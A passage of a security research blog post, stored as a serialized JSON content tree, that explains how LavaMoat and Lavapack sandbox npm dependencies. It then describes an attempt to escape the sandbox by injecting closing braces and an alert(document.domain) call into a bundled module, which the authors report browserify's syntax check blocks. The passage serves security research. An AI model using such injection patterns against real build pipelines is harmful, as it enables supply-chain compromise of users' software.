\"@metamask/providers\"",{"type":24,"tag":158,"props":48472,"children":48473},{"style":188},[48474],{"type":29,"value":38286},{"type":24,"tag":158,"props":48476,"children":48477},{"class":160,"line":213},[48478,48482,48486],{"type":24,"tag":158,"props":48479,"children":48480},{"style":1108},[48481],{"type":29,"value":38294},{"type":24,"tag":158,"props":48483,"children":48484},{"style":177},[48485],{"type":29,"value":225},{"type":24,"tag":158,"props":48487,"children":48488},{"style":188},[48489],{"type":29,"value":210},{"type":24,"tag":158,"props":48491,"children":48492},{"class":160,"line":238},[48493,48498,48502,48506],{"type":24,"tag":158,"props":48494,"children":48495},{"style":1108},[48496],{"type":29,"value":48497}," \"Event\"",{"type":24,"tag":158,"props":48499,"children":48500},{"style":177},[48501],{"type":29,"value":225},{"type":24,"tag":158,"props":48503,"children":48504},{"style":165},[48505],{"type":29,"value":3354},{"type":24,"tag":158,"props":48507,"children":48508},{"style":188},[48509],{"type":29,"value":235},{"type":24,"tag":158,"props":48511,"children":48512},{"class":160,"line":259},[48513,48517,48521,48525],{"type":24,"tag":158,"props":48514,"children":48515},{"style":1108},[48516],{"type":29,"value":38346},{"type":24,"tag":158,"props":48518,"children":48519},{"style":177},[48520],{"type":29,"value":225},{"type":24,"tag":158,"props":48522,"children":48523},{"style":165},[48524],{"type":29,"value":3354},{"type":24,"tag":158,"props":48526,"children":48527},{"style":188},[48528],{"type":29,"value":235},{"type":24,"tag":158,"props":48530,"children":48531},{"class":160,"line":280},[48532,48537,48541,48545],{"type":24,"tag":158,"props":48533,"children":48534},{"style":1108},[48535],{"type":29,"value":48536}," \"chrome.runtime.connect\"",{"type":24,"tag":158,"props":48538,"children":48539},{"style":177},[48540],{"type":29,"value":225},{"type":24,"tag":158,"props":48542,"children":48543},{"style":165},[48544],{"type":29,"value":3354},{"type":24,"tag":158,"props":48546,"children":48547},{"style":188},[48548],{"type":29,"value":235},{"type":24,"tag":158,"props":48550,"children":48551},{"class":160,"line":301},[48552,48557,48561,48565],{"type":24,"tag":158,"props":48553,"children":48554},{"style":1108},[48555],{"type":29,"value":48556}," \"console\"",{"type":24,"tag":158,"props":48558,"children":48559},{"style":177},[48560],{"type":29,"value":225},{"type":24,"tag":158,"props":48562,"children":48563},{"style":165},[48564],{"type":29,"value":3354},{"type":24,"tag":158,"props":48566,"children":48567},{"style":188},[48568],{"type":29,"value":235},{"type":24,"tag":158,"props":48570,"children":48571},{"class":160,"line":626},[48572,48577,48581,48585],{"type":24,"tag":158,"props":48573,"children":48574},{"style":1108},[48575],{"type":29,"value":48576}," \"dispatchEvent\"",{"type":24,"tag":158,"props":48578,"children":48579},{"style":177},[48580],{"type":29,"value":225},{"type":24,"tag":158,"props":48582,"children":48583},{"style":165},[48584],{"type":29,"value":3354},{"type":24,"tag":158,"props":48586,"children":48587},{"style":188},[48588],{"type":29,"value":235},{"type":24,"tag":158,"props":48590,"children":48591},{"class":160,"line":668},[48592,48597,48601,48605],{"type":24,"tag":158,"props":48593,"children":48594},{"style":1108},[48595],{"type":29,"value":48596}," \"document.createElement\"",{"type":24,"tag":158,"props":48598,"children":48599},{"style":177},[48600],{"type":29,"value":225},{"type":24,"tag":158,"props":48602,"children":48603},{"style":165},[48604],{"type":29,"value":3354},{"type":24,"tag":158,"props":48606,"children":48607},{"style":188},[48608],{"type":29,"value":235},{"type":24,"tag":158,"props":48610,"children":48611},{"class":160,"line":676},[48612,48617,48621,48625],{"type":24,"tag":158,"props":48613,"children":48614},{"style":1108},[48615],{"type":29,"value":48616}," \"document.readyState\"",{"type":24,"tag":158,"props":48618,"children":48619},{"style":177},[48620],{"type":29,"value":225},{"type":24,"tag":158,"props":48622,"children":48623},{"style":165},[48624],{"type":29,"value":3354},{"type":24,"tag":158,"props":48626,"children":48627},{"style":188},[48628],{"type":29,"value":235},{"type":24,"tag":158,"props":48630,"children":48631},{"class":160,"line":684},[48632,48637,48641,48646],{"type":24,"tag":158,"props":48633,"children":48634},{"style":1108},[48635],{"type":29,"value":48636}," \"ethereum\"",{"type":24,"tag":158,"props":48638,"children":48639},{"style":177},[48640],{"type":29,"value":225},{"type":24,"tag":158,"props":48642,"children":48643},{"style":1108},[48644],{"type":29,"value":48645}," \"write\"",{"type":24,"tag":158,"props":48647,"children":48648},{"style":188},[48649],{"type":29,"value":235},{"type":24,"tag":158,"props":48651,"children":48652},{"class":160,"line":700},[48653,48658,48662,48666],{"type":24,"tag":158,"props":48654,"children":48655},{"style":1108},[48656],{"type":29,"value":48657}," \"location.hostname\"",{"type":24,"tag":158,"props":48659,"children":48660},{"style":177},[48661],{"type":29,"value":225},{"type":24,"tag":158,"props":48663,"children":48664},{"style":165},[48665],{"type":29,"value":3354},{"type":24,"tag":158,"props":48667,"children":48668},{"style":188},[48669],{"type":29,"value":235},{"type":24,"tag":158,"props":48671,"children":48672},{"class":160,"line":785},[48673,48677,48681,48685],{"type":24,"tag":158,"props":48674,"children":48675},{"style":1108},[48676],{"type":29,"value":38446},{"type":24,"tag":158,"props":48678,"children":48679},{"style":177},[48680],{"type":29,"value":225},{"type":24,"tag":158,"props":48682,"children":48683},{"style":165},[48684],{"type":29,"value":3354},{"type":24,"tag":158,"props":48686,"children":48687},{"style":188},[48688],{"type":29,"value":235},{"type":24,"tag":158,"props":48690,"children":48691},{"class":160,"line":1447},[48692,48697,48701],{"type":24,"tag":158,"props":48693,"children":48694},{"style":1108},[48695],{"type":29,"value":48696}," \"web3\"",{"type":24,"tag":158,"props":48698,"children":48699},{"style":177},[48700],{"type":29,"value":225},{"type":24,"tag":158,"props":48702,"children":48703},{"style":165},[48704],{"type":29,"value":47819},{"type":24,"tag":158,"props":48706,"children":48707},{"class":160,"line":1509},[48708],{"type":24,"tag":158,"props":48709,"children":48710},{"style":188},[48711],{"type":29,"value":38463},{"type":24,"tag":158,"props":48713,"children":48714},{"class":160,"line":1527},[48715,48719,48723],{"type":24,"tag":158,"props":48716,"children":48717},{"style":1108},[48718],{"type":29,"value":38471},{"type":24,"tag":158,"props":48720,"children":48721},{"style":177},[48722],{"type":29,"value":225},{"type":24,"tag":158,"props":48724,"children":48725},{"style":188},[48726],{"type":29,"value":210},{"type":24,"tag":158,"props":48728,"children":48729},{"class":160,"line":1545},[48730,48735,48739,48743],{"type":24,"tag":158,"props":48731,"children":48732},{"style":1108},[48733],{"type":29,"value":48734}," \"@metamask/object-multiplex\"",{"type":24,"tag":158,"props":48736,"children":48737},{"style":177},[48738],{"type":29,"value":225},{"type":24,"tag":158,"props":48740,"children":48741},{"style":165},[48742],{"type":29,"value":3354},{"type":24,"tag":158,"props":48744,"children":48745},{"style":188},[48746],{"type":29,"value":235},{"type":24,"tag":158,"props":48748,"children":48749},{"class":160,"line":1618},[48750,48755,48759],{"type":24,"tag":158,"props":48751,"children":48752},{"style":1108},[48753],{"type":29,"value":48754}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":24,"tag":158,"props":48756,"children":48757},{"style":177},[48758],{"type":29,"value":225},{"type":24,"tag":158,"props":48760,"children":48761},{"style":165},[48762],{"type":29,"value":47819},{"type":24,"tag":25,"props":48764,"children":48765},{},[48766,48767,48772,48774,48779,48781,48787],{"type":29,"value":17850},{"type":24,"tag":154,"props":48768,"children":48770},{"className":48769},[],[48771],{"type":29,"value":38536},{"type":29,"value":48773}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":24,"tag":154,"props":48775,"children":48777},{"className":48776},[],[48778],{"type":29,"value":38544},{"type":29,"value":48780}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":24,"tag":154,"props":48782,"children":48784},{"className":48783},[],[48785],{"type":29,"value":48786},"@metamask/providers",{"type":29,"value":48788}," interacts with other packages.",{"type":24,"tag":25,"props":48790,"children":48791},{},[48792,48794,48800],{"type":29,"value":48793},"To enforce these policies, LavaMoat uses ",{"type":24,"tag":154,"props":48795,"children":48797},{"className":48796},[],[48798],{"type":29,"value":48799},"lavapack",{"type":29,"value":48801},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":24,"tag":20134,"props":48803,"children":48805},{"id":48804},"npm-anti-hijacking",[48806],{"type":29,"value":48422},{"type":24,"tag":25,"props":48808,"children":48809},{},[48810],{"type":29,"value":48811},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":24,"tag":25,"props":48813,"children":48814},{},[48815,48817,48824],{"type":29,"value":48816},"Instead, Lavamoat looks at how each package is connected by ",{"type":24,"tag":101,"props":48818,"children":48821},{"href":48819,"rel":48820},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[105],[48822],{"type":29,"value":48823},"walking the modules",{"type":29,"value":48825}," in a project's dependency tree, thus generating a unique name for each package.",{"type":24,"tag":20134,"props":48827,"children":48829},{"id":48828},"scuttling",[48830],{"type":29,"value":48427},{"type":24,"tag":25,"props":48832,"children":48833},{},[48834,48836,48842],{"type":29,"value":48835},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":24,"tag":154,"props":48837,"children":48839},{"className":48838},[],[48840],{"type":29,"value":48841},"GlobalThis",{"type":29,"value":48843}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":24,"tag":25,"props":48845,"children":48846},{},[48847,48849,48856],{"type":29,"value":48848},"For example, ",{"type":24,"tag":101,"props":48850,"children":48853},{"href":48851,"rel":48852},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[105],[48854],{"type":29,"value":48855},"here",{"type":29,"value":48857}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":24,"tag":147,"props":48859,"children":48861},{"className":32624,"code":48860,"language":32626,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[48862],{"type":24,"tag":154,"props":48863,"children":48864},{"__ignoreMap":7},[48865,48894,48944,49003,49010,49082],{"type":24,"tag":158,"props":48866,"children":48867},{"class":160,"line":161},[48868,48872,48876,48881,48885,48890],{"type":24,"tag":158,"props":48869,"children":48870},{"style":1914},[48871],{"type":29,"value":3160},{"type":24,"tag":158,"props":48873,"children":48874},{"style":188},[48875],{"type":29,"value":2262},{"type":24,"tag":158,"props":48877,"children":48878},{"style":177},[48879],{"type":29,"value":48880},"scuttleOpts",{"type":24,"tag":158,"props":48882,"children":48883},{"style":188},[48884],{"type":29,"value":347},{"type":24,"tag":158,"props":48886,"children":48887},{"style":177},[48888],{"type":29,"value":48889},"enabled",{"type":24,"tag":158,"props":48891,"children":48892},{"style":188},[48893],{"type":29,"value":16038},{"type":24,"tag":158,"props":48895,"children":48896},{"class":160,"line":213},[48897,48901,48905,48909,48914,48918,48923,48927,48931,48935,48940],{"type":24,"tag":158,"props":48898,"children":48899},{"style":1914},[48900],{"type":29,"value":40551},{"type":24,"tag":158,"props":48902,"children":48903},{"style":188},[48904],{"type":29,"value":2262},{"type":24,"tag":158,"props":48906,"children":48907},{"style":222},[48908],{"type":29,"value":21865},{"type":24,"tag":158,"props":48910,"children":48911},{"style":177},[48912],{"type":29,"value":48913},"Array",{"type":24,"tag":158,"props":48915,"children":48916},{"style":188},[48917],{"type":29,"value":347},{"type":24,"tag":158,"props":48919,"children":48920},{"style":496},[48921],{"type":29,"value":48922},"isArray",{"type":24,"tag":158,"props":48924,"children":48925},{"style":188},[48926],{"type":29,"value":504},{"type":24,"tag":158,"props":48928,"children":48929},{"style":177},[48930],{"type":29,"value":48880},{"type":24,"tag":158,"props":48932,"children":48933},{"style":188},[48934],{"type":29,"value":347},{"type":24,"tag":158,"props":48936,"children":48937},{"style":177},[48938],{"type":29,"value":48939},"exceptions",{"type":24,"tag":158,"props":48941,"children":48942},{"style":188},[48943],{"type":29,"value":36457},{"type":24,"tag":158,"props":48945,"children":48946},{"class":160,"line":238},[48947,48952,48956,48960,48964,48969,48973,48977,48982,48986,48990,48994,48999],{"type":24,"tag":158,"props":48948,"children":48949},{"style":1914},[48950],{"type":29,"value":48951}," throw",{"type":24,"tag":158,"props":48953,"children":48954},{"style":165},[48955],{"type":29,"value":33194},{"type":24,"tag":158,"props":48957,"children":48958},{"style":496},[48959],{"type":29,"value":41548},{"type":24,"tag":158,"props":48961,"children":48962},{"style":188},[48963],{"type":29,"value":504},{"type":24,"tag":158,"props":48965,"children":48966},{"style":1108},[48967],{"type":29,"value":48968},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":24,"tag":158,"props":48970,"children":48971},{"style":165},[48972],{"type":29,"value":35371},{"type":24,"tag":158,"props":48974,"children":48975},{"style":165},[48976],{"type":29,"value":32664},{"type":24,"tag":158,"props":48978,"children":48979},{"style":177},[48980],{"type":29,"value":48981}," scuttleOpts",{"type":24,"tag":158,"props":48983,"children":48984},{"style":222},[48985],{"type":29,"value":347},{"type":24,"tag":158,"props":48987,"children":48988},{"style":177},[48989],{"type":29,"value":48939},{"type":24,"tag":158,"props":48991,"children":48992},{"style":165},[48993],{"type":29,"value":35403},{"type":24,"tag":158,"props":48995,"children":48996},{"style":1108},[48997],{"type":29,"value":48998},"\"`",{"type":24,"tag":158,"props":49000,"children":49001},{"style":188},[49002],{"type":29,"value":2125},{"type":24,"tag":158,"props":49004,"children":49005},{"class":160,"line":259},[49006],{"type":24,"tag":158,"props":49007,"children":49008},{"style":188},[49009],{"type":29,"value":3549},{"type":24,"tag":158,"props":49011,"children":49012},{"class":160,"line":280},[49013,49018,49022,49027,49031,49036,49040,49045,49049,49054,49058,49062,49066,49070,49074,49078],{"type":24,"tag":158,"props":49014,"children":49015},{"style":177},[49016],{"type":29,"value":49017}," scuttleOpts",{"type":24,"tag":158,"props":49019,"children":49020},{"style":188},[49021],{"type":29,"value":347},{"type":24,"tag":158,"props":49023,"children":49024},{"style":496},[49025],{"type":29,"value":49026},"scuttlerFunc",{"type":24,"tag":158,"props":49028,"children":49029},{"style":188},[49030],{"type":29,"value":504},{"type":24,"tag":158,"props":49032,"children":49033},{"style":177},[49034],{"type":29,"value":49035},"globalRef",{"type":24,"tag":158,"props":49037,"children":49038},{"style":188},[49039],{"type":29,"value":191},{"type":24,"tag":158,"props":49041,"children":49042},{"style":177},[49043],{"type":29,"value":49044},"realm",{"type":24,"tag":158,"props":49046,"children":49047},{"style":165},[49048],{"type":29,"value":29010},{"type":24,"tag":158,"props":49050,"children":49051},{"style":496},[49052],{"type":29,"value":49053}," performScuttleGlobalThis",{"type":24,"tag":158,"props":49055,"children":49056},{"style":188},[49057],{"type":29,"value":504},{"type":24,"tag":158,"props":49059,"children":49060},{"style":177},[49061],{"type":29,"value":49044},{"type":24,"tag":158,"props":49063,"children":49064},{"style":188},[49065],{"type":29,"value":191},{"type":24,"tag":158,"props":49067,"children":49068},{"style":177},[49069],{"type":29,"value":48880},{"type":24,"tag":158,"props":49071,"children":49072},{"style":188},[49073],{"type":29,"value":347},{"type":24,"tag":158,"props":49075,"children":49076},{"style":177},[49077],{"type":29,"value":48939},{"type":24,"tag":158,"props":49079,"children":49080},{"style":188},[49081],{"type":29,"value":20955},{"type":24,"tag":158,"props":49083,"children":49084},{"class":160,"line":301},[49085],{"type":24,"tag":158,"props":49086,"children":49087},{"style":188},[49088],{"type":29,"value":3967},{"type":24,"tag":25,"props":49090,"children":49091},{},[49092,49094,49100,49102,49108],{"type":29,"value":49093},"Subsequently, the code defines a ",{"type":24,"tag":101,"props":49095,"children":49098},{"href":49096,"rel":49097},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[105],[49099],{"type":29,"value":32638},{"type":29,"value":49101}," called ",{"type":24,"tag":154,"props":49103,"children":49105},{"className":49104},[],[49106],{"type":29,"value":49107},"generateScuttleOpts",{"type":29,"value":49109}," that creates and returns an options object.",{"type":24,"tag":25,"props":49111,"children":49112},{},[49113,49115,49121,49122,49128,49130,49135,49137,49143],{"type":29,"value":49114},"Finally, the ",{"type":24,"tag":154,"props":49116,"children":49118},{"className":49117},[],[49119],{"type":29,"value":49120},"performScuttleGlobalThis",{"type":29,"value":8106},{"type":24,"tag":101,"props":49123,"children":49126},{"href":49124,"rel":49125},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[105],[49127],{"type":29,"value":32638},{"type":29,"value":49129}," modifies the properties of the global object (",{"type":24,"tag":154,"props":49131,"children":49133},{"className":49132},[],[49134],{"type":29,"value":49035},{"type":29,"value":49136},"). It starts by creating an array ",{"type":24,"tag":154,"props":49138,"children":49140},{"className":49139},[],[49141],{"type":29,"value":49142},"props",{"type":29,"value":49144},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":24,"tag":59,"props":49146,"children":49148},{"id":49147},"hacking-webpacks",[49149],{"type":29,"value":49150},"Hacking Webpacks",{"type":24,"tag":25,"props":49152,"children":49153},{},[49154],{"type":29,"value":49155},"Now let's get to the fun stuff.",{"type":24,"tag":25,"props":49157,"children":49158},{},[49159],{"type":29,"value":49160},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":24,"tag":147,"props":49162,"children":49164},{"className":32624,"code":49163,"language":32626,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[49165],{"type":24,"tag":154,"props":49166,"children":49167},{"__ignoreMap":7},[49168,49220,49232,49252,49269,49277,49285,49293,49301,49322,49330,49338,49346,49353,49360,49367],{"type":24,"tag":158,"props":49169,"children":49170},{"class":160,"line":161},[49171,49175,49180,49184,49189,49193,49198,49202,49207,49211,49216],{"type":24,"tag":158,"props":49172,"children":49173},{"style":165},[49174],{"type":29,"value":37452},{"type":24,"tag":158,"props":49176,"children":49177},{"style":177},[49178],{"type":29,"value":49179}," filename",{"type":24,"tag":158,"props":49181,"children":49182},{"style":222},[49183],{"type":29,"value":462},{"type":24,"tag":158,"props":49185,"children":49186},{"style":496},[49187],{"type":29,"value":49188}," encodeURI",{"type":24,"tag":158,"props":49190,"children":49191},{"style":188},[49192],{"type":29,"value":504},{"type":24,"tag":158,"props":49194,"children":49195},{"style":496},[49196],{"type":29,"value":49197},"String",{"type":24,"tag":158,"props":49199,"children":49200},{"style":188},[49201],{"type":29,"value":504},{"type":24,"tag":158,"props":49203,"children":49204},{"style":177},[49205],{"type":29,"value":49206},"moduleData",{"type":24,"tag":158,"props":49208,"children":49209},{"style":188},[49210],{"type":29,"value":347},{"type":24,"tag":158,"props":49212,"children":49213},{"style":177},[49214],{"type":29,"value":49215},"file",{"type":24,"tag":158,"props":49217,"children":49218},{"style":188},[49219],{"type":29,"value":20955},{"type":24,"tag":158,"props":49221,"children":49222},{"class":160,"line":213},[49223,49227],{"type":24,"tag":158,"props":49224,"children":49225},{"style":165},[49226],{"type":29,"value":9496},{"type":24,"tag":158,"props":49228,"children":49229},{"style":177},[49230],{"type":29,"value":49231}," moduleWrapperSource\n",{"type":24,"tag":158,"props":49233,"children":49234},{"class":160,"line":238},[49235,49239,49243,49248],{"type":24,"tag":158,"props":49236,"children":49237},{"style":1914},[49238],{"type":29,"value":32655},{"type":24,"tag":158,"props":49240,"children":49241},{"style":188},[49242],{"type":29,"value":2262},{"type":24,"tag":158,"props":49244,"children":49245},{"style":177},[49246],{"type":29,"value":49247},"bundleWithPrecompiledModules",{"type":24,"tag":158,"props":49249,"children":49250},{"style":188},[49251],{"type":29,"value":16038},{"type":24,"tag":158,"props":49253,"children":49254},{"class":160,"line":259},[49255,49260,49264],{"type":24,"tag":158,"props":49256,"children":49257},{"style":177},[49258],{"type":29,"value":49259}," moduleWrapperSource",{"type":24,"tag":158,"props":49261,"children":49262},{"style":222},[49263],{"type":29,"value":462},{"type":24,"tag":158,"props":49265,"children":49266},{"style":1108},[49267],{"type":29,"value":49268}," `function(){\n",{"type":24,"tag":158,"props":49270,"children":49271},{"class":160,"line":280},[49272],{"type":24,"tag":158,"props":49273,"children":49274},{"style":1108},[49275],{"type":29,"value":49276}," with (this.scopeTerminator) {\n",{"type":24,"tag":158,"props":49278,"children":49279},{"class":160,"line":301},[49280],{"type":24,"tag":158,"props":49281,"children":49282},{"style":1108},[49283],{"type":29,"value":49284}," with (this.globalThis) {\n",{"type":24,"tag":158,"props":49286,"children":49287},{"class":160,"line":626},[49288],{"type":24,"tag":158,"props":49289,"children":49290},{"style":1108},[49291],{"type":29,"value":49292}," return function() {\n",{"type":24,"tag":158,"props":49294,"children":49295},{"class":160,"line":668},[49296],{"type":24,"tag":158,"props":49297,"children":49298},{"style":1108},[49299],{"type":29,"value":49300}," 'use strict';\n",{"type":24,"tag":158,"props":49302,"children":49303},{"class":160,"line":676},[49304,49309,49313,49318],{"type":24,"tag":158,"props":49305,"children":49306},{"style":1108},[49307],{"type":29,"value":49308}," // source: ",{"type":24,"tag":158,"props":49310,"children":49311},{"style":165},[49312],{"type":29,"value":35371},{"type":24,"tag":158,"props":49314,"children":49315},{"style":177},[49316],{"type":29,"value":49317},"filename",{"type":24,"tag":158,"props":49319,"children":49320},{"style":165},[49321],{"type":29,"value":307},{"type":24,"tag":158,"props":49323,"children":49324},{"class":160,"line":684},[49325],{"type":24,"tag":158,"props":49326,"children":49327},{"style":1108},[49328],{"type":29,"value":49329}," return function (require, module, exports) {\n",{"type":24,"tag":158,"props":49331,"children":49332},{"class":160,"line":700},[49333],{"type":24,"tag":158,"props":49334,"children":49335},{"style":1108},[49336],{"type":29,"value":49337}," __MODULE_CONTENT__\n",{"type":24,"tag":158,"props":49339,"children":49340},{"class":160,"line":785},[49341],{"type":24,"tag":158,"props":49342,"children":49343},{"style":1108},[49344],{"type":29,"value":49345}," };\n",{"type":24,"tag":158,"props":49347,"children":49348},{"class":160,"line":1447},[49349],{"type":24,"tag":158,"props":49350,"children":49351},{"style":1108},[49352],{"type":29,"value":10304},{"type":24,"tag":158,"props":49354,"children":49355},{"class":160,"line":1509},[49356],{"type":24,"tag":158,"props":49357,"children":49358},{"style":1108},[49359],{"type":29,"value":5010},{"type":24,"tag":158,"props":49361,"children":49362},{"class":160,"line":1527},[49363],{"type":24,"tag":158,"props":49364,"children":49365},{"style":1108},[49366],{"type":29,"value":3549},{"type":24,"tag":158,"props":49368,"children":49369},{"class":160,"line":1545},[49370],{"type":24,"tag":158,"props":49371,"children":49372},{"style":1108},[49373],{"type":29,"value":49374}," }`\n",{"type":24,"tag":25,"props":49376,"children":49377},{},[49378,49380,49386,49388,49394],{"type":29,"value":49379},"Lavapack uses ",{"type":24,"tag":154,"props":49381,"children":49383},{"className":49382},[],[49384],{"type":29,"value":49385},"with()",{"type":29,"value":49387}," proxies to restrict the objects accessible by the module, and ",{"type":24,"tag":154,"props":49389,"children":49391},{"className":49390},[],[49392],{"type":29,"value":49393},"__MODULE_CONTENT__",{"type":29,"value":49395}," is replaced by the content of a file required by the project being built.",{"type":24,"tag":395,"props":49397,"children":49399},{"id":49398},"injection-not-so-simple",[49400],{"type":29,"value":49401},"Injection? Not So Simple",{"type":24,"tag":25,"props":49403,"children":49404},{},[49405,49407,49412],{"type":29,"value":49406},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":24,"tag":154,"props":49408,"children":49410},{"className":49409},[],[49411],{"type":29,"value":3536},{"type":29,"value":49413}," environment:",{"type":24,"tag":147,"props":49415,"children":49417},{"className":32624,"code":49416,"language":32626,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[49418],{"type":24,"tag":154,"props":49419,"children":49420},{"__ignoreMap":7},[49421,49434,49446,49458,49470,49477],{"type":24,"tag":158,"props":49422,"children":49423},{"class":160,"line":161},[49424,49429],{"type":24,"tag":158,"props":49425,"children":49426},{"style":188},[49427],{"type":29,"value":49428}," } ",{"type":24,"tag":158,"props":49430,"children":49431},{"style":2588},[49432],{"type":29,"value":49433},"// end function 1\n",{"type":24,"tag":158,"props":49435,"children":49436},{"class":160,"line":213},[49437,49441],{"type":24,"tag":158,"props":49438,"children":49439},{"style":188},[49440],{"type":29,"value":32729},{"type":24,"tag":158,"props":49442,"children":49443},{"style":2588},[49444],{"type":29,"value":49445},"// end function 2\n",{"type":24,"tag":158,"props":49447,"children":49448},{"class":160,"line":238},[49449,49453],{"type":24,"tag":158,"props":49450,"children":49451},{"style":188},[49452],{"type":29,"value":37466},{"type":24,"tag":158,"props":49454,"children":49455},{"style":2588},[49456],{"type":29,"value":49457},"// end with 1\n",{"type":24,"tag":158,"props":49459,"children":49460},{"class":160,"line":259},[49461,49465],{"type":24,"tag":158,"props":49462,"children":49463},{"style":188},[49464],{"type":29,"value":48144},{"type":24,"tag":158,"props":49466,"children":49467},{"style":2588},[49468],{"type":29,"value":49469},"// end with 2\n",{"type":24,"tag":158,"props":49471,"children":49472},{"class":160,"line":280},[49473],{"type":24,"tag":158,"props":49474,"children":49475},{"emptyLinePlaceholder":16},[49476],{"type":29,"value":481},{"type":24,"tag":158,"props":49478,"children":49479},{"class":160,"line":301},[49480,49484,49488,49492,49496,49500],{"type":24,"tag":158,"props":49481,"children":49482},{"style":496},[49483],{"type":29,"value":33959},{"type":24,"tag":158,"props":49485,"children":49486},{"style":188},[49487],{"type":29,"value":504},{"type":24,"tag":158,"props":49489,"children":49490},{"style":177},[49491],{"type":29,"value":33969},{"type":24,"tag":158,"props":49493,"children":49494},{"style":188},[49495],{"type":29,"value":347},{"type":24,"tag":158,"props":49497,"children":49498},{"style":177},[49499],{"type":29,"value":33979},{"type":24,"tag":158,"props":49501,"children":49502},{"style":188},[49503],{"type":29,"value":2125},{"type":24,"tag":25,"props":49505,"children":49506},{},[49507,49509,49515,49517,49524],{"type":29,"value":49508},"However, when we tried to bundle it, a ",{"type":24,"tag":154,"props":49510,"children":49512},{"className":49511},[],[49513],{"type":29,"value":49514},"ParseError",{"type":29,"value":49516}," was thrown. This is because Lavapack is a plugin of ",{"type":24,"tag":101,"props":49518,"children":49521},{"href":49519,"rel":49520},"https://github.com/browserify/browserify",[105],[49522],{"type":29,"value":49523},"browserify",{"type":29,"value":49525},", which has a syntax check before replacing the code.",{"type":24,"tag":25,"props":49527,"children":49528},{},[49529,49531,49537,49539,49545,49547,49553,49555,49560],{"type":29,"value":49530},"Looking deeper into browserify, we find it has a ",{"type":24,"tag":154,"props":49532,"children":49534},{"className":49533},[],[49535],{"type":29,"value":49536},"syntax",{"type":29,"value":49538}," stage on it's pipeline, and uses the ",{"type":24,"tag":154,"props":49540,"children":49542},{"className":49541},[],[49543],{"type":29,"value":49544},"syntax-error",{"type":29,"value":49546}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":24,"tag":154,"props":49548,"children":49550},{"className":49549},[],[49551],{"type":29,"value":49552},"pack",{"type":29,"value":49554}," stage on browserify pipeline, which comes after the ",{"type":24,"tag":154,"props":49556,"children":49558},{"className":49557},[],[49559],{"type":29,"value":49536},{"type":29,"value":49561},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":24,"tag":25,"props":49563,"children":49564},{},[49565],{"type":24,"tag":84,"props":49566,"children":49569},{"alt":49567,"src":49568},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":24,"tag":25,"props":49571,"children":49572},{},[49573,49574,49579,49581,49586],{"type":29,"value":17850},{"type":24,"tag":154,"props":49575,"children":49577},{"className":49576},[],[49578],{"type":29,"value":49544},{"type":29,"value":49580}," package performs a syntax check by using ",{"type":24,"tag":154,"props":49582,"children":49584},{"className":49583},[],[49585],{"type":29,"value":38812},{"type":29,"value":49587}," with function hoisting:",{"type":24,"tag":147,"props":49589,"children":49591},{"className":32624,"code":49590,"language":32626,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, opts);\n}\n",[49592],{"type":24,"tag":154,"props":49593,"children":49594},{"__ignoreMap":7},[49595,49607,49657,49668,49675,49696,49737,49797,49838],{"type":24,"tag":158,"props":49596,"children":49597},{"class":160,"line":161},[49598,49603],{"type":24,"tag":158,"props":49599,"children":49600},{"style":1914},[49601],{"type":29,"value":49602},"try",{"type":24,"tag":158,"props":49604,"children":49605},{"style":188},[49606],{"type":29,"value":210},{"type":24,"tag":158,"props":49608,"children":49609},{"class":160,"line":213},[49610,49615,49619,49624,49628,49633,49637,49642,49648,49653],{"type":24,"tag":158,"props":49611,"children":49612},{"style":496},[49613],{"type":29,"value":49614}," eval",{"type":24,"tag":158,"props":49616,"children":49617},{"style":188},[49618],{"type":29,"value":504},{"type":24,"tag":158,"props":49620,"children":49621},{"style":1108},[49622],{"type":29,"value":49623},"'throw \"STOP\"; (function () { 